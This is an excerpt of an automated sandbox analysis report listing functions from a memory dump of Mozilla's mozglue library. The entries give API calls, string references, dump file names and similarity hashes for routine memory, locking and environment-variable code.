realloc.MOZGLUE(?,?), ref: 6BF41A6B

Part of subcall function 6BF41AF0: EnterCriticalSection.KERNEL32(?), ref: 6BF41C36

mozalloc_abort.MOZGLUE(?), ref: 6BF41AE7

Strings

d, xrefs: 6BF41AB1

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalEnterSectionmozalloc_abortrealloc
String ID: d
API String ID: 2670432147-2564639436
Opcode ID: 66bd646911732f4241a6eb82e08d9c5e92e9a9b80a946a4abe2ee51944a0f23c
Instruction ID: 14f2f61bc0ddf20225aa6cae55f29eb614116b6bb5522e13236ac904aba0810c
Opcode Fuzzy Hash: 66bd646911732f4241a6eb82e08d9c5e92e9a9b80a946a4abe2ee51944a0f23c
Instruction Fuzzy Hash: 67110632D1065C93DB049BA8C8155BEFB75EF96204F459619DD496B222FB34E6D8C380

Function 6BF63CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6BF63D19
mozalloc_abort.MOZGLUE(?), ref: 6BF63D6C

Strings

d, xrefs: 6BF63D58

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 089d60c0488fc93472af2e560a5535387c4b125125cae7e2a5a548f949c327ed
Instruction ID: b76ee07a9c1b88d4309c5e5a91be03e9bced21e3c871306d8d6eff3ca94010ca
Opcode Fuzzy Hash: 089d60c0488fc93472af2e560a5535387c4b125125cae7e2a5a548f949c327ed
Instruction Fuzzy Hash: BF115332D1428DE7DB049F6CCC145ADB775EF97244B408218DC48AB232FB34A9C8C350

Function 6BF34730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6BF344B2,6BFAE21C,6BFAF7F8), ref: 6BF3473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6BF3474A

Strings

GetNtLoaderAPI, xrefs: 6BF34744

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 3ad7ea7f7c84c481a2641aa057473cd32919093a852de781c684a4efba9e56ff
Instruction ID: f94d8f97b5e3be027223be6f7e7ee4047e4d33a2132e03f9fdfe6abd917bab38
Opcode Fuzzy Hash: 3ad7ea7f7c84c481a2641aa057473cd32919093a852de781c684a4efba9e56ff
Instruction Fuzzy Hash: 6A01B176610229CFDF089F69C8A471D7BE9EB8B351B0400A9E905CB330DB79D8058FA1

Function 6BF86DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6BF86E22
__Init_thread_footer.LIBCMT ref: 6BF86E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6BF86E1D

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 9c3c8b2dab42df4a85418616259b85d59e4bb40817cfcf5fd8f205d210ef704c
Instruction ID: bbc43259d25df0780e43b2416ab6cb5e812b5d08973030a230c29e7410f90555
Opcode Fuzzy Hash: 9c3c8b2dab42df4a85418616259b85d59e4bb40817cfcf5fd8f205d210ef704c
Instruction Fuzzy Hash: 74F05937424241EBDE188B78C850B4937B16313A14F0402A5D4518A371C739E52ACBA7

Function 6BF39E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6BF39EEF

Strings

NaN, xrefs: 6BF39EC1
Infinity, xrefs: 6BF39EB7

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 57228e59e72c3037026e1b42a04cd69713758036f5a69112bc0637944565c69a
Instruction ID: 7f3583c07e6dd4e7f3bd60ab7fd1e4cec42cf32d73eb8a35248a678267268332
Opcode Fuzzy Hash: 57228e59e72c3037026e1b42a04cd69713758036f5a69112bc0637944565c69a
Instruction Fuzzy Hash: 1CF0C8738202C2CBDB9A9F18E8457487761B743319F204655C541CE271DB3DA59ACBE5

Function 6BF85900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32(MOZ_SKELETON_UI_RESTARTING,6BFA51C8), ref: 6BF8591A
CloseHandle.KERNEL32(FFFFFFFF), ref: 6BF8592B

Strings

MOZ_SKELETON_UI_RESTARTING, xrefs: 6BF85915

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CloseEnvironmentHandleVariable
String ID: MOZ_SKELETON_UI_RESTARTING
API String ID: 297244470-335682676
Opcode ID: 0034125dae7fb5389b05595a33dcf9465a737e72ecfa8ab635eac3d1a7fda5d0
Instruction ID: 9faec549c930bc4b325e552c52b972e19633000be79e8b4c836ee28a7ccc9932
Opcode Fuzzy Hash: 0034125dae7fb5389b05595a33dcf9465a737e72ecfa8ab635eac3d1a7fda5d0
Instruction Fuzzy Hash: 6EE0DF32014244FBCB044B68C9487897FF89B13736F108544E66A836F2C3BAE84883E1

Function 6BF3BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6BF3BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6BF3BEF5

Strings

cryptbase.dll, xrefs: 6BF3BEF0

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 196d72868778739d056874793de3588bc8b1758fc9972946be563aa464de2c7a
Instruction ID: 3258f5bcf16270b117edea48415a22bc56dca998e0d35aa9592f79e175464133
Opcode Fuzzy Hash: 196d72868778739d056874793de3588bc8b1758fc9972946be563aa464de2c7a
Instruction Fuzzy Hash: 5BD0A93309060CEACA08ABA4CC0AB293BA8A702722F00C820F30584173CBB5E494CBA4

Function 6BF250E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6BF24E9C,?,?,?,?,?), ref: 6BF2510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6BF24E9C,?,?,?,?,?), ref: 6BF25167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6BF25196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6BF24E9C), ref: 6BF25234

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: be4518355767233f193c94883ebf6c3fb98ebbe4dea331cb1520a0b7874912d6
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 93919D76904616CFCB14CF18C890A56BBA2FF89318B198588DD589B369D375FC42CBE0

Function 6BF608F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BFAE7DC), ref: 6BF60918
LeaveCriticalSection.KERNEL32(6BFAE7DC), ref: 6BF609A6
EnterCriticalSection.KERNEL32(6BFAE7DC,?,00000000), ref: 6BF609F3
LeaveCriticalSection.KERNEL32(6BFAE7DC), ref: 6BF60ACB

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: bc52269bc8dd718811872903d75c322400af9b2e621e72f67e745141826691ac
Instruction ID: d031b170fa1a1670b2eb0543129f81b17ff01834a571abbea5abae658694899f
Opcode Fuzzy Hash: bc52269bc8dd718811872903d75c322400af9b2e621e72f67e745141826691ac
Instruction Fuzzy Hash: 19511833B20615CBEB0C9A34C490729B3A2EB82FE07358179DD65D77B0E779E8018B90

Function 6BF859C0 Relevance: 5.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(?,?,?,?,?,?,?,?,00000008,?,6BF5E56A,?,|UrlbarCSSSpan,0000000E,?), ref: 6BF85A47
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,00000008,?,6BF5E56A,?,|UrlbarCSSSpan), ref: 6BF85A5C
free.MOZGLUE(?), ref: 6BF85A97
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000010), ref: 6BF85B9D

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: free$mallocmemset
String ID:
API String ID: 2682772760-0
Opcode ID: 1fae56f14a2b1330b8590f9527782ef132f5eba9f40bfd388d9973cba01a3b4e
Instruction ID: 95975486e26a68cab151c6336bd1a933528306d923d0f2c09a47905a2d658902
Opcode Fuzzy Hash: 1fae56f14a2b1330b8590f9527782ef132f5eba9f40bfd388d9973cba01a3b4e
Instruction Fuzzy Hash: 4B516B725087409FD700CF28C8C071AFBF5AF8A318F04896EE9899B266D778D944CB62

Function 6BF7B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6BF7B2C9,?,?,?,6BF7B127,?,?,?,?,?,?,?,?,?,6BF7AE52), ref: 6BF7B628

Part of subcall function 6BF790E0: free.MOZGLUE(?,00000000,?,?,6BF7DEDB), ref: 6BF790FF
Part of subcall function 6BF790E0: free.MOZGLUE(?,00000000,?,?,6BF7DEDB), ref: 6BF79108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6BF7B2C9,?,?,?,6BF7B127,?,?,?,?,?,?,?,?,?,6BF7AE52), ref: 6BF7B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6BF7B2C9,?,?,?,6BF7B127,?,?,?,?,?,?,?,?,?,6BF7AE52), ref: 6BF7B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6BF7B127,?,?,?,?,?,?,?,?), ref: 6BF7B74D

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 088a182d7e7f38b34904db1c8615a815ab29297285868fac18af28fa028742ec
Instruction ID: 5a2dfaa081481a7450a49ad462bc9de220912d5f277e05e9eafdee52c65f88c3
Opcode Fuzzy Hash: 088a182d7e7f38b34904db1c8615a815ab29297285868fac18af28fa028742ec
Instruction Fuzzy Hash: A051C072A00216CFDB24DF18E99475EB7B1BF46705F0588BAC956AB322D734A805CB91

Function 6BF323D8 Relevance: 5.1, APIs: 4, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e147423c0f17a8b0ace921df1252db890123a7f9f1aac09ebb8baaff408313fe
Instruction ID: 6318acc7035ca93ba19db82d3fdfda7eecf063abe4e55806d67b3966d71c2cfe
Opcode Fuzzy Hash: e147423c0f17a8b0ace921df1252db890123a7f9f1aac09ebb8baaff408313fe
Instruction Fuzzy Hash: C851AFB2A00216CFDB44CF58C8C075ABBB1BF48314F158269D8199B3A2D77AE995CFD0

Function 6BF7DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6BF6FF2A), ref: 6BF7DFFD

Part of subcall function 6BF790E0: free.MOZGLUE(?,00000000,?,?,6BF7DEDB), ref: 6BF790FF
Part of subcall function 6BF790E0: free.MOZGLUE(?,00000000,?,?,6BF7DEDB), ref: 6BF79108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6BF6FF2A), ref: 6BF7E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6BF6FF2A), ref: 6BF7E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6BF6FF2A), ref: 6BF7E0FE

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: fa5178dd37310742fe78f4463895e63a93b672593d0b11c36fad3973f0baa925
Instruction ID: 66931565939ce3e4583944ac12354aae6f46f982d93206750fddc33b684a2304
Opcode Fuzzy Hash: fa5178dd37310742fe78f4463895e63a93b672593d0b11c36fad3973f0baa925
Instruction Fuzzy Hash: E041CEB36242068BEB24DF6CE88079A73AAFB45304F1449BBD516DB360E775E904CB52

Function 6BF86180 Relevance: 5.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6BF861DD
memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6BF8622C
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6BF86250
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF86292

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 1231da7df6d2882764ccd0398c1b7999c2b31839d0b4476f27b35a1461c333f7
Instruction ID: 66b1289d2ad6e4db39fefca90a47575cf4dcd6a3b88fa45ab16f00f2d2c66dc0
Opcode Fuzzy Hash: 1231da7df6d2882764ccd0398c1b7999c2b31839d0b4476f27b35a1461c333f7
Instruction Fuzzy Hash: 77312672A1060A9FDB04CF2CDC81BAA73F9FB95304F1081B9D45ADB262EB35E598C750

Function 6BF76E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6BF76EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6BF76EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6BF76F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6BF76F5C

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: d706735e68be4220bbc9f2bf8d3fce92bdaa10841b6c528164225217e4b10582
Instruction ID: ce4108987cf6c9c25aaea1783abaa58a90cb933ec294edc2b9cff4e3e73c2d95
Opcode Fuzzy Hash: d706735e68be4220bbc9f2bf8d3fce92bdaa10841b6c528164225217e4b10582
Instruction Fuzzy Hash: 9531E772A1060A9FDB14DF2CDD40AAE73E9EB84300F50817AE41AD7261FB35E559C7A0

Function 6BF8B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6BF30A4D), ref: 6BF8B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6BF30A4D), ref: 6BF8B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6BF30A4D), ref: 6BF8B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6BF30A4D), ref: 6BF8B67F

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: b8c0613fefeaab9e408001c9303f6249dcbefac22ef14dcd87f5fafdb3d973d5
Instruction ID: f443fb13d65b7247ac7031be0ad25c1d51c4e6b356e82992515051b190ecb215
Opcode Fuzzy Hash: b8c0613fefeaab9e408001c9303f6249dcbefac22ef14dcd87f5fafdb3d973d5
Instruction Fuzzy Hash: D331B6739102168FDB14CF58CC4465EBBF5FF81314F1689A9C816EB222EB36E915CBA1

Function 6BF3BBE0 Relevance: 5.1, APIs: 4, Instructions: 96COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000010,?,?,?,?,?,?,?,?,?,?,?,?,?,00000008), ref: 6BF3BBF4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,00000008), ref: 6BF3BC66
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000008), ref: 6BF3BC96
memcpy.VCRUNTIME140(00000000,00000010,0000001F,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BF3BCCE

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: bd74be334ddb5b29ee0b62ab05a92baf1a1911d4e28f8b52ca043af2209b70cf
Instruction ID: e27a82495483341cc6ed9901abba44de1a4dab70ce5cd4afb951a3bc587ab2d9
Opcode Fuzzy Hash: bd74be334ddb5b29ee0b62ab05a92baf1a1911d4e28f8b52ca043af2209b70cf
Instruction Fuzzy Hash: 9A213673B10A158BF7208E3D9C9172E73E5EB81384F198D39D856D6362EE74E54482A1

Function 6BF5F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6BF5F611
memcpy.VCRUNTIME140(?,?,?), ref: 6BF5F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6BF5F652
memcpy.VCRUNTIME140(?,?,?), ref: 6BF5F668

Memory Dump Source

Source File: 00000009.00000002.3091720971.000000006BF21000.00000020.00000001.01000000.0000001A.sdmp, Offset: 6BF20000, based on PE: true

Associated: 00000009.00000002.3089490066.000000006BF20000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094104217.000000006BFAE000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000009.00000002.3094608073.000000006BFB2000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6bf20000_baacd96df2.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 2267645cddc0acf6ab0e6c6db356c5fa88b851f16582c689a76bda2f0a4c6180
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 06318D73A00214AFC754CF2DDCC0E9B7BB6EBD4344B148578FA4A8B724D635E9508BA0

Function 6BF239A0 Relevance: 5.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6BFAE744,6BF87765,00000000,6BF87765,?,6BF46112), ref: 6BF239AF
LeaveCriticalSection.KERNEL32(6BFAE744,?,6BF46112), ref: 6BF23A34
